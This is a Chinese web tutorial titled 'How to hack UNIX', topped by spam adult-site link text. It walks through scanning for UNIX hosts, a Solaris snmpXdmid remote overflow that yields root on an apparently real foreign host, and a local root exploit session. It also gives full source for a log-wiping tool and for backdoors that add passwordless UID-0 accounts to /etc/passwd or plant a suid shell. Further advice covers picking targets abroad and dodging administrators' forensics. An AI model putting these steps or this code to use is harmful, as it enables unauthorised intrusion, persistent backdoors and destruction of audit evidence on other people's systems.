精品丰满熟女一区二区三区_五月天亚洲欧美综合网_亚洲青青青在线观看_国产一区二区精选

  • <menu id="29e66"></menu>

    <bdo id="29e66"><mark id="29e66"><legend id="29e66"></legend></mark></bdo>

  • <pre id="29e66"><tt id="29e66"><rt id="29e66"></rt></tt></pre>

      <label id="29e66"></label><address id="29e66"><mark id="29e66"><strike id="29e66"></strike></mark></address>
      學習啦>學習電腦>電腦安全>網(wǎng)絡(luò)安全知識>

      如何入侵UNIX

      時間: 權(quán)威724 分享

      Unix的架構(gòu)很嚴密,權(quán)限管理很嚴,要想入侵Unix,必須要突破權(quán)限關(guān),下面是學習啦小編整理的一些關(guān)于UNIX入侵的相關(guān)資料,供你參考。

      什么是UNIX?

      NIX操作系統(tǒng)(尤尼斯),是一個強大的多用戶、多任務(wù)操作系統(tǒng),支持多種處理器架構(gòu),按照操作系統(tǒng)的分類,屬于分時操作系統(tǒng),最早由KenThompson、Dennis Ritchie和Douglas McIlroy于1969年在AT&T的貝爾實驗室開發(fā)。目前它的商標權(quán)由國際開放標準組織所擁有,只有符合單一UNIX規(guī)范的UNIX系統(tǒng)才能使用UNIX這個名稱,否則只能稱為類UNIX(UNIX-like)。

      一:基本知識

      1:常見UNIX版本:

      SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware...

      2:簡單介紹幾個

      sunos&solaris SUN本來想用solaris取代sunos,不過在用戶的要求下,到目前為止,還是維持兩者并存的政策;

      Freebsd是著名的BSD-UNIX的一的繼承者,是UNIX眾多分支中相當穩(wěn)定的一個,很多ISP均使用運行Freebsd;

      Linux是一個面對PC機個人用戶的自由廉價的UNIX產(chǎn)品(其硬件平臺是Intel系列的CPU),實際上眾多的網(wǎng)絡(luò)管理員真正使用的是Linux。

      3:UNIX操作系統(tǒng)的特點

      (1)多用戶和多任務(wù);(2)可移植性;(3)樹行結(jié)構(gòu)的文件系統(tǒng);(4)I/O重定向技術(shù)和管道技術(shù);(5)豐富的實用程序;(6)每個用戶都有電子郵件。

      4:尤為突出的優(yōu)點

      (1)穩(wěn)定可靠性高;(2)網(wǎng)絡(luò)功能強;(3)開發(fā)性好;(4)強大的數(shù)據(jù)庫支持功能;(5)伸縮性強。

      二:入侵目的

      1:學習UNIX,熟悉內(nèi)部操作,整體配置...

      2:做跳板或以此捕捉更多UNIX肉雞;

      3:越權(quán)得到某些正常請求下得不到的東西;

      4:攻擊破壞或以此作為利器來破壞其他系統(tǒng);

      5:更多......

      三:入侵方法

      1:尋找目標 工具:supperscan,流光,LANguard Network Scanner 2.0或者其他,憑個人喜好選用

      supperscan:掃描23,79端口,注意含%,#,&...主機,這些就是UNIX;

      LANguard..作簡單設(shè)置,即可開始,判斷對方操作系統(tǒng)功能乃同類軟件中的精品,直觀準確;

      流光:利用高級掃描,選telnet,PRC,POP3,F(xiàn)TP,F(xiàn)inger即可。

      其他方法一樣...

      (說明:很多管理員為了迷惑入侵者往往故意更改telnet登陸時出現(xiàn)的信息,請注意識別) 2:開始入侵 (1)溢出(所有關(guān)于UNIX的溢出,都需要在一個UNIX/Linux的環(huán)境下進行編譯)

      A:遠程溢出

      溢出?呵呵,太多了!隨便說幾個:freebsd遠程溢出,bind 遠程溢出,Sun Solaris 5.7/5.8 Sparc遠程溢出,redhat6.xrpc status遠程溢出...自己去一一了解吧,在這里我簡單說兩個例子:

      a1:考慮到很多朋友使用windows,所以大家可以參看我的兄弟---藍騎士的大作《freebsd溢出完全圖文版》(地址:http://www.itser.com/ez/.bbs/topic.cgi?forum=7&topic=25&show=),因為這個溢出程序有已經(jīng)編譯好了可以直接在windows下使用;

      a2:Sun Solaris 5.7 Sparc遠程溢出

      搜索...終于讓我找到了一臺sunos 5.7,上我一臺sunos 5.8

      telnet 66.*.146.48 ----->>這是我的!

      SunOS 5.8 login: ply

      Password:

      Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli

      Sun Microsystems Inc. SunOS 5.8 Generic February 2000

      $ tmp/.sh ----->>當時溢出時做的處理!

      # ls

      bin data etc initrd mnt proc sbin usr

      boot dev home lib misc opt root tmp var

      xfn skip

      # cat >snmp.c ....... ----->>太長了,省略...自己去找! # gcc -o snmp snmp.c ----->>用gcc編譯

      snmp.c: In function `main':

      snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type

      snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type

      snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type

      # ls

      bin data etc initrd mnt proc sbin snmp usr

      boot dev home lib misc opt root snmp.c tmp var

      # ./snmp

      copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/

      snmpXdmid for solaris 2.7 2.8 sparc usage: ./s address [-p port] -v 7|8

      #./snmp 216.*.45.63 -v 7 ---->開始溢出!!

      DELIRIUM mar 2001 poland //lsd-pl.net/

      snmpXdmid for solaris 2.7 2.8 sparc adr=0x000c8f68 timeout=30 port=928 connected!

      sent!

      SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80

      id

      uid=0(root) gid=0(root) ----->>是root哦!

      echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加個用戶先!

      echo "ply::::::::" >> /etc/shadow

      ... ----->>還想干什么就繼續(xù)吧! B:本地溢出

      本地溢出需要一個具有Shell權(quán)限的帳號,這個帳號可以通過pop3或ftp弱密碼得到,照樣舉個例子:

      流光掃描...一會兒得到了一個ftp帳號(webmaster,webmaster),先telnet上去!

      telnet *.174.62.135 Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定!

      Kernel 2.2.12-20kr2smp on an i686

      login: webmaster

      Password:

      Last login: Wed Apr 24 02:21:58 from *.*.*.*

      You have mail. ----->>這家伙有新郵件,不過我沒興趣!

      [webmaster@ns webmaster]$ ----->>氣人的普通用戶$

      [webmaster@ns webmaster]$cat >ts.c

      ... ----->>要學會利用網(wǎng)絡(luò)資源,自己找,當是練習!

      [webmaster@ns webmaster]$gcc -o ts ts.c ----->>還是用gcc編譯。

      In file included from /usr/include/asm/user.h:5,

      from /usr/include/linux/user.h:1,

      from ts.c:30:

      /usr/include/linux/ptrace.h:22: warning: `PTRACE_SYSCALL' redefined

      /usr/include/sys/ptrace.h:103: warning: this is the location of the previous def

      inition

      [webmaster@ns webmaster]$ ls

      Desktop/ Mail/ ts* ts.c

      [webmaster@ns webmaster]$ ./ts

      attached

      bash# su root

      [root@ns webmaster]# ----->>搞定,看見#我就高興!

      [root@ns webmaster]# cat >wipe.c ----->>掃腳印的,這個還是給大家吧,否則有人要扁我了!

      /*=============================================================================

      UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD

      The Shadow Penguin Security ( http://shadowpenguin.backsection.net )

      Written by UNYUN ( unewn4th@usa.net )

      =============================================================================

      */ #include

      #include

      #include

      #include #ifdef UTMAXTYPE

      #define UTMPX

      #include

      #endif

      #include

      #ifndef _PATH_LASTLOG

      #include

      #endif

      #include

      #include

      #include #define SVR4_UTMP "/var/adm/utmp"

      #define SVR4_WTMP "/var/adm/wtmp"

      #define SVR4_LASTLOG "/var/adm/lastlog" #define SUNOS4_UTMP "/etc/utmp"

      #define SUNOS4_WTMP "/usr/adm/wtmp"

      #define SUNOS4_LASTLOG "/usr/adm/lastlog" #define BSD_UTMP "/var/run/utmp"

      #define BSD_WTMP "/var/log/wtmp"

      #define BSD_LASTLOG "/var/log/lastlog" #define MAX_FPATH 512 int wipe_log(path,user,type)

      char *path,*user;

      int type;

      {

      struct utmp utmp_ent;

      #ifdef UTMPX

      struct utmpx utmpx_ent;

      #endif

      void *ent;

      char *un;

      int sz,fd,c=0; if (strlen(path)==0) return(1);

      if (type==0){

      ent=(void *)&utmp_ent;

      #ifdef UTMPX

      un=(char *)&utmp_ent.ut_user;

      #else

      un=(char *)&utmp_ent.ut_name;

      #endif

      sz=sizeof(struct utmp);

      }else{

      #ifdef UTMPX

      ent=(void *)&utmpx_ent;

      un=(char *)&utmpx_ent.ut_user;

      sz=sizeof(struct utmpx);

      #endif

      }

      if ((fd=open(path,O_RDWR))<=0) return(-1);

      while(read(fd,ent,sz)>0)

      if (!strncmp(un,user,strlen(user))){

      memset(ent,0,sz);

      lseek(fd,-sz,SEEK_CUR);

      write(fd,ent,sz);

      c ;

      }

      close(fd);

      printf("Wiped %d entries of %s from %s.\n",c,user,path);

      return(0);

      } int wipe_lastlog(path,user,type)

      char *path,*user;

      int type;

      {

      struct passwd *p;

      struct lastlog ent;

      int fd;

      char buffer[MAX_FPATH]; if (type==0) strcpy(buffer,path);

      else sprintf(buffer,"%s/%s",path,user);

      memset(&ent,0,sizeof(struct lastlog));

      if ((p=getpwnam(user))==NULL) return(-1);

      if ((fd=open(buffer,O_RDWR))<=0) return(-2);

      if (type==0)

      lseek(fd,p->CNSU_uid*sizeof(struct lastlog),SEEK_SET);

      write(fd,&ent,sizeof(struct lastlog));

      close(fd);

      printf("Wiped %s from %s.\n",user,path);

      return(0);

      } main(argc,argv)

      int argc;

      char *argv[];

      {

      char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];

      char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];

      char f_lastlog[MAX_FPATH];

      struct utsname utname;

      int lastlog_type; if (argc!=2){

      printf("Usage: %s Usernane\n",argv[0]);

      exit(1);

      }

      if (getpwnam(argv[1])==NULL){

      printf("Unknown user : %s\n",argv[1]);

      exit(1);

      }

      uname(&utname);

      strcpy(f_wtmpx,""); strcpy(f_utmpx,"");

      if (!strcmp(utname.sysname,"SunOS")){

      #ifdef UTMPX

      strcpy(f_utmp, SVR4_UTMP);

      strcpy(f_wtmp, SVR4_WTMP);

      strcpy(f_utmpx, UTMPX_FILE);

      strcpy(f_wtmpx, WTMPX_FILE);

      strcpy(f_lastlog, SVR4_LASTLOG);

      lastlog_type=0;

      #else

      strcpy(f_utmp, SUNOS4_UTMP);

      strcpy(f_wtmp, SUNOS4_WTMP);

      strcpy(f_lastlog, SUNOS4_LASTLOG);

      lastlog_type=0;

      #endif

      }else if (!strcmp(utname.sysname,"Linux")

      || !strcmp(utname.sysname,"FreeBSD")){

      strcpy(f_utmp, BSD_UTMP);

      strcpy(f_wtmp, BSD_WTMP);

      strcpy(f_lastlog, BSD_LASTLOG);

      }else if (!strcmp(utname.sysname,"IRIX")){

      #ifdef UTMPX

      strcpy(f_utmp, SVR4_UTMP);

      strcpy(f_wtmp, SVR4_WTMP);

      strcpy(f_utmpx, UTMPX_FILE);

      strcpy(f_wtmpx, WTMPX_FILE);

      strcpy(f_lastlog, SVR4_LASTLOG);

      lastlog_type=1;

      #else

      printf("Can not wipe. System Unknown.\n");

      #endif

      }else

      printf("Can not wipe. System Unknown.\n"); wipe_log(f_utmp, argv[1],0);

      wipe_log(f_utmpx,argv[1],1);

      wipe_log(f_wtmp, argv[1],0);

      wipe_log(f_wtmpx,argv[1],1);

      wipe_lastlog(f_lastlog,argv[1],lastlog_type);

      }

      ^d [root@ns webmaster]# gcc -o wipe wipe.c

      [root@ns webmaster]# ./wipe webmaster ----->>./wipe username就可以掃掉腳印了! (2)掃描弱口令或暴力解除口令

      A:弱口令使用于大范圍搜捕,即利用少量常見多用密碼去推測大量主機的telnet,ftp或pop3

      B:暴力解除適用于針對某一主機,比如說利用finger獲得了用戶列表,即可采用字典攻擊!或者說利用其他漏洞(如phf漏洞)獲得了passwd,shadow文件,可以拿john或者亂刀解破,能否解破?看運氣! (3)利用特洛伊木馬竊取口令(我沒有這么做過,但這不失為一種方法) (4)網(wǎng)絡(luò)監(jiān)聽和數(shù)據(jù)截取(大家和我一起努力吧,努力學會利用這種方法:P) (5)這里給大家?guī)讉€簡單的后門程序,復(fù)雜的自己去看!

      a1:口令文件 passwd 中增加一個 UID 為 0 的帳號

      #include  main()

      {

      FILE *fd;

      fd=fopen("/etc/passwd","a ");

      fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");

      }

      a2:在 /tmp 目錄下放置 suid shell

      #include

      main()

      {

      system("cp /bin/sh /tmp/fid");

      system("chown root.root /tmp/fid");

      system("chmod 4755 /tmp/fid");

      }

      a3:管理員偶然地輸入cd..時向/etc/passwd文件添加一個UID 0 帳號

      #include

      #include  main()

      {

      FILE *fd;

      fd=fopen("/etc/passwd","a ");

      fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");

      system("cd");

      }

      (6)攻擊(特別是溢出)的方式很多,但方法大多大同小異,故不再贅敘!

      四:補充說明

      1:如用supperscan發(fā)現(xiàn)某ip段存在大量unix主機,馬上轉(zhuǎn)用弱口令解除;或發(fā)現(xiàn)某連續(xù)ip段全是同一個unix版本操作系統(tǒng),則此ip段很有可能是某大公司,企業(yè),高?;蚱渌话惴雷o甚嚴,不存在溢出漏洞,無需逐一嘗試溢出,隨便選兩三個試試看行不行;

      2:到信息產(chǎn)業(yè)發(fā)達的國家去找,比如說美國,日本...不要找國內(nèi)的,又少又危險!

      3:若發(fā)現(xiàn)telnet不上上次成功溢出的肉雞,說明此肉雞的ip是動態(tài)的,但ip改變不會太大,在臨近ip再搜一遍即可!

      五:強調(diào)說明

      不要簡單地認為你已經(jīng)輕易地檫干凈了你的入侵痕跡,很多有經(jīng)驗的管理員都把日志文件轉(zhuǎn)到了其他主機上或作相關(guān)安全處理,一旦管理員發(fā)現(xiàn)了入侵,他會從如下方面來分析攻擊者的入侵方式,你應(yīng)該以此做出相應(yīng)的應(yīng)對措施

      1:查找系統(tǒng)文件和系統(tǒng)培植文件的變化;

      2:查找數(shù)據(jù)文件的變化;

      3:查找入侵留下的數(shù)據(jù)文件和相關(guān)工具;

      4:檢查日志文件

      5:查找出網(wǎng)絡(luò)監(jiān)聽的跡象

      6:檢查局域網(wǎng)上的其他計算機。

      512194